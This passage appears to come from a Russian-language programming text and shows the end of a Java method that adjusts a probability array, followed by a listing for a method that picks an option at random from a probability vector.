ak; } } for (int i = 0; i < N; i++) { if (!mon[i] && (p[i] < 0.0)) { sq1 = p[i]; p[i] = 0.0; mon[i] = true; ak--; shagAlgo = true; break; } } } for (int i = 0; i < N; i++) { p[i] = ar * p[i] + e; } return p; } Листинг 7. Метод для реализации выбора варианта методом половинного деления public static int autom(double[] P) { int N = P.length; int N1 = N - 1; int NC = N1; double A = -randu(); for (int i = 0; i < N1; i++) { A += P[i]; if (A < 0) { continue; } else { NC = i; break; } } return NC; } -----------------------------------------------------------------------------------------